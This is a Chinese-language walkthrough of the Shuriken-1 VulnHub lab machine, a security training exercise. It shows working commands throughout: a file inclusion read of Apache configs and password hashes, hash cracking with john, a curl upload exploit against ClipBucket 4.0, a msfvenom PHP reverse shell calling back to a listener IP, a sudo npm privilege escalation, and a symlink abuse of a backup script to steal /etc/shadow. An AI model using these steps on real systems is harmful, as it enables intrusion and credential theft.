Shuriken-1靶机渗透总结
靶机下载地址:
https://download.vulnhub.com/shuriken/Shuriken-1.ova
-
将Shuriken-1虚拟机设为NAT模式后,打开虚拟机,通过nmap扫描出其ip和端口
-
通过开放的80端口,打开网站
-
信息收集,发现js文件存在两个链接
-
尝试去打开链接,发现了一个存在文件包含的地方
Broadcas.shuriken.local无法直接打开,需要加到hosts文件中
打开网站后发现需要登录
-
尝试通过文件包含读取apache2的配置文件,发现了存放密码的路径,紧接着去读取密码
/etc/apache2/sites-enabled/000-default.conf
读取到了密码developers:$apr1$ntOz2ERF$Sd6FT8YVTValWjL7bJv0P0
-
接下来就是对密码的破解,这里利用john工具
john --wordlist=/usr/share/wordlists/rockyou.txt /home/kali/Desktop/hash john --show /home/kali/Desktop/hash
破解后的密码: 9972761drmfsls
并且登录后发现是ClipBucket 4.0
-
尝试去网上搜寻符合符合的漏洞,在exploit网站找到一个,可以文件上传的exploit
curl --basic --user "developers:9972761drmfsls" -F "file=@pfile.php" -F "plupload=1" -F "name=anyname.php" http://broadcast.shuriken.local/actions/beats_uploader.php
-
准备要上传的文件,这里上传一个msfvenom生成的shell
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.11.131 LPORT=12345 -f raw -o /home/kali/Desktop/shell.php
-
通过上传成功后返回的文件名和后缀加路径,可以找到上传的php文件,并且运行
http://broadcast.shuriken.local/actions/CB_BEATS_UPLOAD_DIR/
-
在kali里面利用msf开启监听,成功连接shuriken靶机
-
当前用户是www-data,考虑提权,经过发现,使用sudo –l 命令
看到了server-management用户无密码使用npm命令,存在sudo滥用提权
并且在https://gtfobins.github.io/找到了对应的提权命令touch package.json echo '{"scripts":{"dev":"/bin/bash"}}' > package.json sudo -u server-management npm run dev
成功提权到server-management用户
-
在server-management用户的家目录下发现了user.txt
获得了第一个flag
67528b07b382dfaa490f4dffc57dcdc0
-
紧接着考虑提权至root的方法
这里没有找到提权的方法
但是发现了一个奇怪的进程
经过查看backupsrv.sh内容
大概理解这个进程的作用是,在/var/backups目录下生成一个tgz文件
文件名字是时间和主机名字的组合
并且tgz文件的内容是/home/server-management/Documents目录里面的内容
-
利用这点,我们可以下载/etc的文件
观察了一下,该sh大概每分钟会被执行一次,由于sh中参数不能修改,于是这里删除了/home/server-management/Documents文件夹,做了/etc到Documents的软连接,压缩成功后将其拷贝到/var/www/main(注意:需切换到www-data用户),下载后获取到shadow文件
cp /var/backups/shuriken-Sunday.tgz /var/www/main
-
下载之后,对应的tgz文件内容是对应的/etc的文件内容,在里面打开了shadow文件,获取了root的密码,但是这里不会解密
$6$KEYGm0ZQ$oTT3SYXna/5H61MZCwqvY995xtDqHGaMe5LRrMXNtVLLDVwfoj.DtJ0AQk6wfhAfOW23uR6wqd7UC5I7MPq0a0
-
无法解密,直接同步骤将/root文件下载下来,打开里面的root.txt文件
获取了第二个flag
d0f9655a4454ac54e3002265d40b2edd